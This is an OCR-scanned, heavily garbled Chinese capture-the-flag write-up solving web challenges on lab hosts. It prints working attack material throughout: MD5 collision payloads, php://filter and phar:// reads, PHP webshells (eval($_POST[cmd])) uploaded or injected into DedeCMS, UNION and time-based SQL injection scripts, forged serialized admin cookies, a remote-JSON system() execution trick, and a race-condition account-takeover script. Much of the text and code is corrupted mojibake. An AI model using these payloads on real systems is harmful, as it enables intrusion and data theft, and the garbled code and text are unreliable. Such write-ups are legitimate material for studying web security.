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BEFERLG:

easy MD5 cracking <!—$ POST[ datal’ ]!=$ POST[ data2’ ]—>fail

LT EI AT, post: datal[]=a&data2[]=b

md5

MD5 cracking<!—— if((string)$ POST[ datal’ J!==(string)$ POST[ data2 1&&md5($_POST[ datal’ ])===md5($_POST[ data2

FFER—IEMdS5T, PEXERESE, HaeZEgssEEmdsaiE, googleilt &R

post:

1)) —>fail

datal=M%COh%FF%OEXE3%5C%20%95r%DAw%7Br%15%87%D30%A7%B2%1B%DCV%B7 3%3D%COX%3E%7B%95%18%AF %BF%A2%00%A8%28K%F 3n%8EKU
%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A28&data2=M%COh%FF%OEXE3%5C%20%95r%DAw%7Br%15%87%D30%A7%B2%1B%DCV%B71%3

D%COx%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
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POST / HTTP/1.1

Host: 114.55.36.69:8006

Content-Length: 315

Cache-Control: max-age=0

Origin: http://114.55.36.69:8006

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebkit/537.36 (KHTML, like Gecko)
Chrome/77.0.3865.120 Safari/537.36

Accept:

text/htr icati html+xml ication/xml;q=0.9,image/webp,i /apng,*/*;q=0.8, icati igned-exchange
v=b3

Referer: http://114.55.36.69:8006/

Accept-Language: zh-CN.zh;q=0.9,en;q=0.8

Connection: close

datat=M%C9h%FF%0E% E3%5C%20%95r% DAw%7Br%15%87% D30%A7% B2%1B% DCV%BT)%3D%C0x%3E%7B%95% 18%
AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93% D8lgm%A0%D1U%5D%83%60% FB_%07%FE%A2&data2=M%CSh%
FF%O0E%E3% 5C%20%95r% DAw% 7 Bro% 1 5%87%D30%AT7%B2% 1B%DCV %B7)%3D% COx% 3E%7 B%95% 18%AF %BF%A2%02
%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
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<?php

highlight file(_ FILE_);
ini_set("display_error", false);
error_reporting(9);

$str = isset($_GET['A _A'])?$ GET['A A']:'A A';

T

if (strpos($_SERVER['QUERY_STRING'], "A_A") l==false) {

echo 'A_A,have fun';

¥
elseif ($str<9999999999) {

echo 'A_A,too small';

¥
elseif ((string)$str>0) {

echo 'A_A,too big';
}

else{
echo file_get_ contents('flag.php');

}

?>

B

HTTP/1.1 200 OK

Date: Mon, 21 Oct 2019 09:28:11 GMT
Server: Apache/2.2.15 (CentOS)
X-Powered-By: PHP/5.3.3
Content-Length: 156

Connection: close

Content-Type: text/html; charset=UTF-8

MDS5 cracking < /--
if((string)$ POST['data17]i==(string)$ POST['data2"]&8&md5(§_POST['datal’])
7355b58e53214adb9a37h4ch82}

BEEE A ARS, NRE TEAFRFEARENAA, XEMAE T phpl— NN, .

WLUSEXBXE: FHPHPRZR & #EITREBypass

===md5/§_POST['data2']))-- >flag{9bd1ee

T



https://www.freebuf.com/articles/web/213359.html

R E R —KAE:

first loop:
$20 ()

T2t
82b (+)

second loop:

$20 ()
22b (+)
22e (.)
£5b ([)
%5f ()

-, foo_bar =bla

third loop:

200 ()

fza a2
Tl

b»
$ GET[“foo bar”]

A p SRt 75 A T LA

[A A] =>

)

php > parse str{"A+A", %$a);print_r(%a);

(
)

php > parse str{"A.A", %a);print_r(%a);
Array

(
)

php > parse str{"A[A", %a);print_r(%a);

[A_A] =>

[A_A] =>

BE:
BN SHE R T 9999999999, HHA LT ; sting/FEZEXTER, EEFR BT,

php > $a[]="";
php > var_dump($a>9999999999);

bool(true)




% b, BJGpayload: ?A.A[]=a, JEBEHE Flfag

R
fRg—
EESH url=upload , EiRphpththiCCHEE, RIMEER Llbase64 ik Hiflag.

Bl st
PD9waHAKLy9mbGFne2E1YWEWMTITNDZhNzISZWViYWVhYTc20Dg4M2J1YjlzfQo/Pgo=

payload: ..index.php/url=php://filter/convert.base64-encode/resource=index

R —

BT bEmE, KT —F, a4 RdiE, gl FRW L EfezpfF, ATCLRA phar:// hECCHEEE
BH—AJEARY shell.php STRBRESE, R EEREIRE:

Filename: sS4 | Fosk P EASE 13z
[ LEjpg. png. gif. rar, zipS 43R

SMAHHRFIRIZ .
/var/www/html/upload/dfe0541d121a37dfde1edfbcf414d749.jpg

RIGERZE/NGEIA], #EHurl: http://114.55.36.69:8009/index.php?
url=phar://upload/695d93c8c583b14b83475449ed1f7b35.zip/shell



¢« 2B [0 114.55.36.69

™ i5: /var/www/html/flag.php -8 X
BRE EIZR - "ALRSITH -
1 <?php
2
3
A

— AN ERWE, HEEsqlmapihAs i sk

] fetching number of column(s) "flag® entries for table "admin®' in database "news'
ITNG] time-based comparison requires larger statistical model, please wait

] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to pr

event potential disruptions
do you want sglmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y¥/n]

] adjusting time delay to 2 seconds due to good response times
lag{f98585d1d12+t5@aBbd9463e98876638 }
Database: news
able: admin

] table "news.admin® dumped to C5V file "C:\Users\lLethe\AppData\lLocal\sqlmap\output\114.55.36.69\dump\ne

1L ] fetched data logged to text files under 'C:\Users\Lethe\AppData‘\lLocal\sgqlmap\output\114_.55.36.69"

[*] ending @ 23:17:05 f2819-10-22/
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BHER: %' /*lunion*/ /*!select*/ 1,2,(/*!select*/ group_concat(table name) from information_schema.tables where

table_schema=database())#

ey e .
<table valign=top>
word=%" f*lunion*/ /*select*/ 1,2,(/*'select*/ group_concat(table name) from information_schema.tables where <tr>

table_schema=database())#&number=5 <td width=30px vAIlgn top =1, <ftd>
<td width=30 d>

<td vAlign=toj >adm|n.news<ftd
<ftr=
</table>

ey ey ey

BH: %' /*lunion*/ /*Iselect*/ 1,2, (/*!select*/ group_concat(column_name) from information_schema.columns

where table name='admin')#

DedeloginTime ckMd5=87cd4c1ad6c018cd <td width=30px vAlign=top >1.</td>
Connection: close < td width=300pxAlign=top=2.¢ fid >
<td vAlign=top>username,flag</t{l>

word=%" /*lunion*/ /*iselect*/ 1,2,(/*!select*/ group_concat(column_name) from information_schema.columns where </tr>
table name='admin"#&number=>5 </table>
<HR style=FILTER: alpha(opacity= 100 finishopacity=0,styl
</flabel >
</form>

BEYE: %' /*lunion*/ /*!select*/ 1,2, (/*!select*/ group_concat(flag) from admin)#

Connection: close <td width=30px vAlign=top >1.</td>
<td width=300px vAlign=top>2</td>
word=%" /*lunion*/ /*Iselect*/ 1,2,(/*!select*/ group_concat(flag) from admin)#&number=5 <td vAlign=top>flag{f98505d1d12f50a0bd9463e90876630}</td >
<ftr>
</table>

<HR <tule=FII TFR* alnhalonaritv=100 finishonacitr=0 stvla=3) width=80% rolar=#987cha <
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Flag{ hahahan wrong!! :(}

1) -

VH21:4

WH T —MRMflag, F— T4 FMKdebugger, 15 %lflag:

[® @] | Elements Console Sources Network Peformance  Memory  Application  Security  Audits  EditThisCookie  HackBar HEE
Page  Filesystem  » P [ gamejs  wM21 X Bl n =™ + t = b @
TDw NS e - bEm 5
O tussz6e] 5 ifsont e+ Frastssossi S0t arT T T ¥ Colltack
v 4 console.log("Flag{ hahahah wrong!! : 5 Not pa
gemess i ¥ Scope
Not
v Breakpaints
N breakpoints
» ¥HR/fetch Breakpoints
- » DOM Breakpoints
{} Line5, Column 3 VM1g;1 | * Global Listeners
i Console x
F O | top v | ® | Filter Default levels ¥ -]

((ﬂ)

") = )-( ("67)= (0"_"0)/ (0" _"o);("A")=("6": "_° : - : e . ( -3) . ‘) [c™_"ol;
(ﬂ)[‘C‘]'(ﬂ)[‘c‘]c(u/ e (Cuf = e

) Ul CF) o8 )“‘J[(")‘(’)]*((

IO 100 ((0°_70) +(2°_"0))+ () + (0"0))+ CH)I e T+(

" ‘n) rlonfo))r (C) + (0" o))+ (L) 108 )+ (o o)+ (o*_"o)r CAOCE 10" («

CEY el =
3,

~_ro))e (AL 1+ (

W18 () - ('5;)) - 0 )['f‘]*(‘ﬂ')' F)s (). OO )[ € ]*( 0')e (-
(0 + (or_r0))+ CEICE1+(07)+ (on o)+ (1) + (T07))+ T+(N) () (8 )+ (e re))+ (CEITE1+(78 )+ (e t0)+ ((07_%0) +(0"_"e))+ (A& 1+(
"))+ ( S CRCE ) (- )r Ce)+ CAICE 108+ () (C) + (o"_0))+ oo )+ (0°_"0))+ (07 o)+ (I )[ & 1+((0™_"0) +(0"_"0))+ ((0~_"0) +(0"_" ”0))* 3 )[ £ 1+((0"_"0) +(0"_"0))+ ((0™_"0) +(0" o))+ (A")["&' I+((0°_"0) +(0"_"0)}+ (c* o)+
CEIC 1+((e" ") +(0*_"0))+ (o*_"0)+ ("B e 1+((0*_"0) +(0"_*o})+ (o*_*o)+ (L)' 1+({o*_*0) +(0"_*0))+ ((o"_*0) - N+ CHICE1+(C ) + (e toh)+ (C8)+ (A 1+((e" ") +(o* "))+ ((e"_"0) - (& ))+ (A e I={(e"_e) +(o"_0))+ ((o"_0) - (C€"))+ (M) I+

(Con aa) +(0n 20))e (=1 & (A Ve I E 1a000% fa) +(08 Sa))e (08 2ol (TCE 1a((on f0) +(nn fa)s (= )e A E 1eC AN C=")e (8 de (I 1a0f08 00) +f0% 4a))e (=) 4 (B CIE 18 s (= )a ({00 80) sl0n A)le (AT 160000 ) +(a0 ~n))e (ch an)e (*1F)




dedecms

&—A~dedecms sp2 v5.7, #—TFXMKIEHENAT, BSHEHRZIXA: hitps:/www.freebuf.com/vuls/164035.html

SeiiAl:  /dede/tpl.php?action=upload , FEYRILH3RBtoken, FEF—SEME,

LA LE WLLLILT [SEN A=Y S CELLSRpACLIE= W CELLPAULLIE=S W~

tr
<td width= 98" height= 60" 2EH{ETH: </td>
<td width= 504" >
{input name= acdir’ type= hidden’ walue= default’ />
{input name= token type= hidden’ wvalue=" 41ed3a0ff22609a045014381-01491c58" />
{input name= upfile’ type= file' i1d="upfile’ style= width:380px’ />
<ftd>
ST
<Stabler
Sdivy SStdr

B /dede/tpl.php?filename=moonsec.lib.php&action=savetagfile&content=%3C?php%20@eval($_POST[cmd]);?
%3E&token=c5288eb4a985baa3520c2d006f45e346 , HLHE BRI HIshell ST,

CIREEREREE > > SXVRERE

IR
WEHFE: (EEEREFEEENTEERIR)

{dede: noonses }{/dede:moonses 1

WE

B 5 EZERAIMIshell, V5H: /include/taglib/moonsec.lib.php , %% find / -name flag 3k— Fflag?8ir & :



/tmp/flagishere/flagishere/flagishere/flag

[w ﬂ Elements  Console  Sources MNetwork Performance Memory  Application Security Audits EditThisCockie HackBar

LOAD URL SPLIT URL EXECUTE URL sqQLl -~ Xss -~ LFI ~ ENCODING ~ HASHING -~

URL
http://114.55.36.69:8008/include/taglib/moonsec.lib.php

enctype
. Enable POST application/x-www-form-urlencoded - ADD HEADER

Body
cmd=system('find / -name flag’);

E—Tflag:



1de3ce6607a0f95as1861c4dbbb3687b8

w ﬂ Elements  Conscle  Sources MNetwork Performance Memory  Application Security Audits EditThisCookie

LOAD URL SPLIT URL EXECUTE URL sQLl -~ X58 -~ LFI - ENCODING -~ HASE

URL
http://114.55.36.69:8008/include/taglib/moonsec.lib.php

enctype

. Enable POST application/x-www-form-urlencoded

Body
cmd=system('cat /tmp/flagishere/flagishere/flagishere/flag’);

B2 15

R LRSS T IR, ST ER.BE R4 R

JG R 5NIE Rapache IR A FIRE, FFEMTIRIF, BIAA [RZAMYT, BRITEMT BB gk 805 7 T .

B ABATRE /N D) JE SR, PHP. Jpg » ZBTUAME PHP KEREGE AR . ph B8, RIERKHIESER zip E4E L%

Jupload/4221a456068f ccff 16ecE365437ch320/shell,. PHP. prig

BB B EEE T, 7 flag.php H R I fag.



[ g Svar/www/html/flag.php -8 X

B EZE . UELEEHE -

<?php
//flag{f2188ece80ded45664c098852acB7658
>

fod B

sleepcms

51 robots.txt ] LA BW FsqhiBa), MiZ%2EHEANHEK:

INSERT INTO article ( id, title, view times , content ) VALUES
(1, “admin\’ flag ,0, ’ XXXXAXXAAXAXXXXXAXXIIKK ),
2, "hello guest’,0, "hello guest,you want is not here ),

(3, “some hint ,0, ’long or short?\r\nsleep and injection! ):

REBEEHLT, BIANZENBEERE, EE2ZE T HEHK sleep() M benchmark() , LMk, B LA get_lock() BRECRHT
HERT .

HRRI select BT T, ZHRXEF T AP TLESD. .. RERI article WHEFBIEHEITEHRZTE flag BAAREEH KK,
AR EL)FEECE RIS select 1BH) T, BEEEBHEE L content FEREIT, HAANH select »

FIA LT :

import requests

s = requests.session()
url = "http://114.55.36.69:8007/article.php"

flag = ""
for i in range(0,50):
for j in range(32,127):
payload = f"?id=1"' and if(ascii(substr((content),{i},1))={j},get _lock('lethe',3),1)%23"
try:
s.get(url + payload, timeout=2)
except Exception:
flag += chr(j)
print(flag)
break



WER RS

i iE /web/robots.txt 18 F|$2 R index.php?r=site/loginuser 1, R—ANEFHME, HEREKSEERAETMAE, BFE
RS R I:

=
kk author: cib zhinianyuxin. com
**k%k code: github. com
—>

TRYj I Zgithub K 5, BT R7R:

secret-system

##README.md
*** author: cib_zhinianyuxin.com
It's just a system which is not completed , there are some tips:

1. you can use test/cib_sec to login ,but you are not admin!

2. only admin can upload file ,but whichone can not bypass my rules.

f**’

$sign = array(
‘id'=>$model->id,
‘name ' =>%$model->username,
‘sign'=>md5($model->id. $model->username),

);
$_COOKIE['Cib_security'] = serialize(%$sign);
o

47 BAT— MK SH test/cil_sec McookieABHIHN, TRBAIEFRZKS, 15F|cookieln T:

cib=a%3A3%3A%7Bs%3A2%3A%221d%22%3B1%3A2%3Bs%3A4%3A%22name%22%3Bs%3A4%3A%22test%22%3Bs%3A4%3A%22s1gn%22%3Bs%3A32%
3A%227cbab5cea99169139e7e6d8ff74ebb77%22%3B%7D



urlf# S B 5 — T AT DAE B R SE AR

Array

(

[id] => 2

[name] => test
[sign] => 7cbabS5cea99169139e7e6d8174ebb77

FREAIF A @ F WAy igcookie:

<?php

$id = 1

$username = "admin"

$sign = ["id"=>1,"name"=>"admin","sign"=>md5($id.$username

print_r($sign
echo urlencode(serialize($sign
?>



Array

(

[id] => 1
[name] => admin
[sign] => 6c5delbs18es8bddebcdgefto9dceda3ts

-

a%3A3NLIAKTBSHIA2NIA%221 dX22%3B1%3A1%IBSHIAANSAK22nameli22%3Bs%3A5X3A%22admin%22%3B 5% 3A4%3A%22S1)
gn22%3Bs%3A32%3A%226c5de1b510e8bddebcavef99deda38%22%3B% 7D

cookie BN ERA B, RIFTUE, RINCEKREHRAKEFR, RFRIKE) EAEFE:

Cib_security Home About Contact Upload admin = logout

RES)

EAE— webshell FfRSSES.

2 FEX
TS CGROEA

RN | SRR
tfE

MR KN B2 it E, HApacheli482.2.15, FIEEAATEMITIRIA, T & L4 shell.php.aaa:

:ib=2a%3A3%3A%T7Bs%3A2%3A%22id%22%3Bi%3A1%3Bs% 3A4%3A%22name%22%3Bs%3A5%3A%22admin%22%3Bs%3 <div id="w0" class="alert-success alert fade in">
44%3A%22sign %22%3Bs%3A32%3A%226¢5de1b510e8bdd0bc40eff99dcd03f8%22%3B%7D; <button type="button" class="close" data-dismiss="alert" aria-hidden="true" > &times; </button >
2HPSESSID=28bmfer6hjilam2stjilrtef94
Zonnection: close HERTL), X{4EEEH./upload/25d7ff6c38b753ad75820017¢3039ded/shell.php.aaa
————— WebKitFormBoundaryxYikiQOAIwldHpnc </div> </div> ,
Zontent-Disposition: form-data; name="upload _file"; filename="shell.php.aaa" <fli>
Zontent-Type: application/octet-stream </ol>
</fdivs
<?php @eval(§_POST[cmd]);?> </div>
------ WebKitFormBoundaryxYikiQOAIwldHpnc </fdiv>
Zontent-Disposition: form-data; name="submit"

ROA LT, #E#shellfd Flflag.

[ #&i8: /flag -4

BfFE EER v WALRESTH -
1 flag{e9df76c86df71d4b10933edb39d3becc}

FOER. B
B HTE dama.xxxx 25T dama.php KIES, HEF flag.php ZEEMIK E—ZHZ.

CRIEAMEE

<?php
$a = isset($_POST[ 'pass’ ? trim($_POST[ 'pass’ v
if ($a == "'

echologin



} else {
chkpass($%$a);
helloowner($a);

)i
function chkpass($a)
{
if (stripos($_SERVER[ 'HTTP_USER_AGENT'], md5($a)) === false) {
echofail(1l);
¥
return true;
¥
function helloowner($a)
{
$b = gencodeurl($a);
$c = file_get contents($b);
if ($c == false) {
echofail(2);
b
$d = @json_decode($c, 1);
if (lisset($d['f'])) {
echofail(3);
b
$d["F']($d['d"]);
b
function gencodeurl($a)
{
$e = md5(date("Y-m-d"));
if (strlen($a) > 40) {
$f = substr($a, 30, 5);
$g = substr($a, 10, 10);
} else {
$f = 'good';
$g = 'web.com';
b
$b = 'http://' . $f . $g;
return $b;
)
function echofail($h)
{

$i = 'PGhObWw+PGh1YWQ+PG11dGEgY2hhcnN1dDOidXRmLTgilLz48dG1ObGU+541ix44GE56qS50Gv44CB55ebPC90aXRsZT48L2h1YWQ+PG
JvZHkgc3R5bGUIINdpZHR00iAZMGVt021hcmdpbjogMWVtIGF1dG87dGV4dC1hbGlnbjogY2VudGVyOyI+PHAgZXIyaWQ9IiVpZCUiPukFoS3jgl
DjgIDilbAg5b+r55yL44CB5pyI54Gw5py644CB5Zy05rK15aS@5LiK54Gw5p2154GwW5Y6755GE44CCPCOWPXwIHN@eWx1PSImb250LXNpemU6ID
UwJTsiPjxhIGhyZWY9Imh@dHBz0i8vd3d3LmxvdmVzdGOwcGFpbi50a@BibGOnLnZ1bHNweS5jb20vIj7nilHjgYTngpLmga/jgIHN15s8L2E+I0
S4k+eUqOWQjumXgbwvcD48L2IvZHk+PC90dG1lsPg==";

echo str_replace('%id%', $h, base64_decode($i));

exit;
¥
function echologin()
{

$j = 'PGhObWw+PGh1YWQ+PG11dGEgY2hhcnN1dDOidXRmLTgilLz48dG1ObGU+541ix44GE560S50Gv44CB55ebPC90aXRsZT48L2h1YWQ+PG
JvZHkgc3R5bGU9IndpZHR00iAyMGVt021hcmdpbjogMWVtIGF1dG87dGV4dC1hbG1lnbjogY2VudGVyOyI+PGZvcmogYWNpdGOuPSIiIG11dGhvzD
@iUE9TVCI+PGlucHVOIHR5cGUIINBhc3N3b3JIkIiBuYW11PSIwYXNzIiBwbGFjZWhvbGR1cjOicGFzcyI+PGlucHVOIHR5cGUIINN1Ym1pdCIgbm
FtZTOic3VibW1OIiB2YWx1ZTOic3VibW10Ij48L2ZvcmO+PHAgCc3R5bGUIIMZvbnQtc216ZTogNTAl1OyI+PGEgaHI1Zj@iaHROCHM6LY93d3cubG
92ZXNOb3BwYWluLnRrQGIsb2cudnVsc3B5LmNvbS8iPueIseOBhOegkuaBr+0AgeeXmzwvYT4g5LiT555052C06ZeoPCOWPjwvYmOkeT48L2hobW
w+';

echo base64_decode($7);

exit;



BB ESET KR chkpass() BE, XAELEF B, B User-Agent A $a (MR E#HFZKpassSHE) Kmd5EI R4
T

BT RTHERERNRINRE:

function helloowner($a)

{
$b = gencodeurl($a);
$c = file_get_contents($b);
if ($c == false) {
echofail(2);

)

$d = @json_decode($c, 1);

if (lisset($d['f'])) {
echofail(3);

}
$d["f']1(sd["d"]);

$b 4 $a &1 gencodeurl() AEFHIE, R $b AL, KHEPKINERS s, BN ZNAEBTson@EHES $d .

B $d['£'1($d['d']); W LAFE HREL ¢d MRIBEBRMMZE—ANRBEA, HAERFMd, REENHEMR—DTER
B, $d['f'] NEREL, 3$d['d'] ASH.

X ERRBATT U AT, BINEMIE system(‘cat ../flag') , XFRATBEF LIRS LEMAag T, ATEAIRA
# ["f'=>"system","d"=>""cat ../flag.php'"]

JSONIB—TFEH]: {"f":"system","d":"cat ../flag.php"}, Xilf& file get contents MiZiLBIMXHNE, THHRZ
el iR B IX AN SO .

%&—F gencodeurl H#L:

function gencodeurl($a)
{
$e = md5(date("Y-m-d"));
if (strlen($a) > 40) {
$f = substr($a, 30, 5);

$g = substr($a, 10, 10);
} else {

$f = 'good';

$g = 'web.com';

¥
$b = ‘http://' . $f . $g;
return $b;

B, Y sa WKEXTA00, REMER http:// BHE $a BI31~356BHHE $a BI11~204z, R RBANITEMKRAE15

(AS

BAE EEWENBGLRNME 1, WBECRS S E (Bi%iphi123.123.1.123) , ATLAEHR] 123.123.1.123/1 RIEF15462, X
FERA M IE T IXA $a B -

2aaaaaaaaall.8.105/laaaaaaaaaal29.2aaaaaa

REMERSAN: http://123.123.1.123/1, 83T file get_contents BLAI LATRATHI RS 22 FIREUAN AT »



POST /upload/dama.php HTTP/1.1

Host: 114.55.36.69:8020

Content-Length: 60

Cache-Control: max-age=0

Origin: http://114.55.36.69:8020
Upgrade-Insecure-Requests: 1

Content-Type: application/x-wwww-form-urlencoded
User-Agent: 9d0934¢7841b5503f53d1bf56d58718f
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q= 0.8 application/signed-exchange
wv=b3

Referer: http://114.55.36.69:8020/upload/dama.php
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

pass=aaaaaaaaa: laaaaaaaaa: aaaaaa&submit=submit

—A~hackeronef] & i# i) ¥ TH ) E B & B
B QiR , /B EIVERS, AT
BHE—T index.php :

//index.php

<?php

require_once("init.php');

header("Content-type: text/html; charset=utf-8");

if(!isset($_SESSION[ '‘username'])){

header('location: ./login.php');

exit;

¥

$userObj = new zUser();

$user = zUserFile::get_attrs($_SESSION[ '‘username']);
$flag = "";

>

if($userObj->is_admin($_SESSION[ ‘username']) && file exists(FLAGFILE)){

$flag = "WELL DONE! ".file get contents(FLAGFILE);
}

?>

o LR B B RS lag, FEIET is_admin() FIIIE, REEXANEE:

HTTP/1.1 200 OK

Date: Thu, 24 Oct 2019 16:46:15 GMT
Server: Apache/2.2.15 (CentOS)
X-Powered-By: PHP/5.3.3
Content-Length: 41

Connection: close

Content-Type: text/html; charset=UTF-8

<?php
//flag{ByeBye 1VerYOn1_have8un}
7>



//class.user.php

public function is_admin($username){
if(!zUserFile: :validate_username($username)){
return false;

¥
$user = zUserFile::get_attrs($username);
if($user['is_admin'] === 1)

return true;
return false;

}

// KB Susername #5715 5
// MBTETRT LA F$users[ 'attrs ' J[$username] = array("email” => $email, "is_admin" => @, "email_verify" => @, "toke
n" =>"");
public static function get_attrs($username){
$users = zUserFile::get_all users();
if(!zUserFile::is_exists($username)){
return false;

}

return $users['attrs'][$username];

}

ERRAEEY, TE suser BN is_admin A1, KBRXUHEEH AU R, k88T, HRBAEDM A L& Radmin
M-S, KRB i% R GV B RERIK S K ZhBE -

//switch.php

<?php

require_once('init.php');

header("Content-type: text/html; charset=utf-8");

if(!isset($_SESSION[ "'username'])){

header('location: ./login.php');

exit;

¥
$userObj = new zUser();
$user = zUserFile::get_attrs($_SESSION[ '‘username']);
$users = zUserFile::get_relate_users($_SESSION[ 'username']);
$username = isset($_GET[ 'username'])?trim($_GET[ 'username']):"'";
if($username != false & zUserFile::is_exists($username)){
$to_user = zUserFile::get attrs($username);

if($user['email verify'] === 1 && $to_user['email verify'] === 1 && $user['email’'] === $to_user['email']){

$userObj->login2($username);

header('Location: ./');

exit;

¥

¥

//class.user.php
public function login2($username){
$username = trim($username);
if(!zUserFile::validate_username($username)){
return false;
}
$ SESSION[ 'username’'] = $username;
return true;

?>

WA E login2 BA HAEMIRIE, Rl RIRIMAMFARLINET, BARRKS AT UAEL#RER.



B —IFIBEHEMRELS T adnin KIBBFE A ambulong@vulnspy.com , B4 BN ZEZEM —ANK S, FHRELE] admin KIHE
faL, XFERATLAY)#E] admin K5 T .

HEREEERNIEEERMIK, ZRATHFEBLI AR, RBEWT:

//chgematil.php
<?php
require_once('init.php');
if(!isset($_SESSION[ 'username'])){
header('location: ./');
exit;

}

header ("Content-type: text/html; charset=utf-8");
$userObj = new zUser();
if($userObj->is_admin($_SESSION[ 'username'])){
die('FORBIDDEN');

¥

if(isset($_POST[ 'submit'])){

if(!chktoken()){
die( 'INVALID REQUEST');

¥

$email = isset($_POST['email'])?trim($_POST['email']):"'";
if($userObj->chg _email($ SESSION[ 'username'], $email))
die('SUCCESS');

else
die('FAILED');

//#R— Tchg_email () F#
//class.user.php
public function chg_email($username, $email){
if(!zUserFile::is_exists($username)){
return false;
¥
if($email == false || !zUserFile::validate _email($email)){
return false;
¥
$user = zUserFile::get_attrs($username);
$0ld_email = $user['email’];
$emails = zUserFile::get emails();
if(isset($emails[$0ld_email])){
$emails[$old_email] = array_diff($emails[$old _email], array($username));
if($emails[$old _email] == false){
unset($emails[$old_email]);
¥
}

zUserFile: :update_attr($username, 'email verify', 0);
zUserFile: :update_attr($username, 'email', $email);
zUserFile: :update_attr($username, 'token', '');

$us = @is_array($emails[$email])?$emails[$email]:array();
$emails[$email] = array_merge($us, array($username));
return zUserFile::update_emails($emails);

W UE B SREH B E MR, email_verify BIEAA0, TRASABVE R ZERAAINIE, MITEFERI. FrAZ AR
BRI E, BAREUE — T INEDRERI AR



//verify.php
f(isset($_GET['token']) && isset($_GET['username'])){
$token = isset($_GET[ 'token'])?trim($_GET[ 'token']):"";
$username = isset($_GET['username'])?trim($_GET['username']):"'";
if($token == false || $username == false){
die('INVALID INPUT');
¥
if($userObj->verify_email($username, $token)){
$userObj->login($username);
header('location: ./');
exit;

}

die("'INVALID TOKEN OR USERNAME');
}

// B — Fverify _email ()
//class.user.php
public function verify _email($username, $token){
if(!zUserFile::is_exists($username)){
return false;
¥
$token = trim($token);
if($token == false){
return false;
¥
$user = zUserFile::get_attrs($username);// B it fr& 155
$real_token = $user["token"];  //HKHHF Htoken
if(md5($real_token) !== md5($token)){ //ZiFtoken& IEH
return false;
¥
/) --- - R AR T - - - -
zUserFile: :update_attr($username, 'token', ''); //J/&E%Ztoken
zUserFile: :update_attr($username, 'email verify', 1); //AiF&2y
return true;

IEHKPAETRFER % 2 -

© HE IR EHRFE

@ W 3 #74 tokenffI A IE B 12

® % Al 4 Mitoken2: 15 1] IAGIE T2 T

@ token3: ik 1IE

o ® email_verify B A1, BIHIES KIHFFELEE RIh

T BATAT AR &AM T4, £ LR IEHEWARR HAMESH ZHIERIE admin FIEBAE, BT BARIE semail KPR, ProAZESR
SEN) $email WEBENT admin KERAS, XIS EHATHESSE, WA LGAIERI).

FRBAVEEM —ANKES, HHYEH CHERFE RS Bltoken, AR)5EF W RV IEEEER R PGEE, 1ERE85E admin FIBEFE, B
N



import requests
import threading

url = "http://114.55.36.69:8023/"
verify_url= "/verify.php?token=oust3dEPSxpoZ9wKUVjo8ZFleaGdZaff&username=lethe3"
SESSION="9gr7bgt3ht65r3hbe3sgcm7032"

def verify_email():
res = requests.get(url + verify url)
print(res.text)

def reset_email():
reset_url = url + "/chgemail.php?token=QNgbstcy"
cookies = {"PHPSESSID": SESSION}
data = {"email": "ambulong@vulnspy.com", "submit": "Submit"}
res=requests.post(reset_url, cookies=cookies, data=data)
print(res.text)

def main():
tl = threading.Thread(target=verify email, args=())
t2 = threading.Thread(target=reset_email, args=())
tl.start()
t2.start()
t1.join()
t2.join()

if _name__ == '_main__":

main()

BATERIFTE, RINCERINGRE & 7R

MAIN

SWITCH ACCOUNTS
RESET MY EMAIL
HELLO, lethe3

E-MAIL: ambulong@vulnspy. com



YJ# admin S BT .

MAIN

SWITCH ACCOUNTS

RESET MY EMAIL

HELLO, admin

WELL DONE! flag{5b1378d6c07b9dbsbdald54d551b71£8}

E-MAIL: ambulong@vulnspy. com
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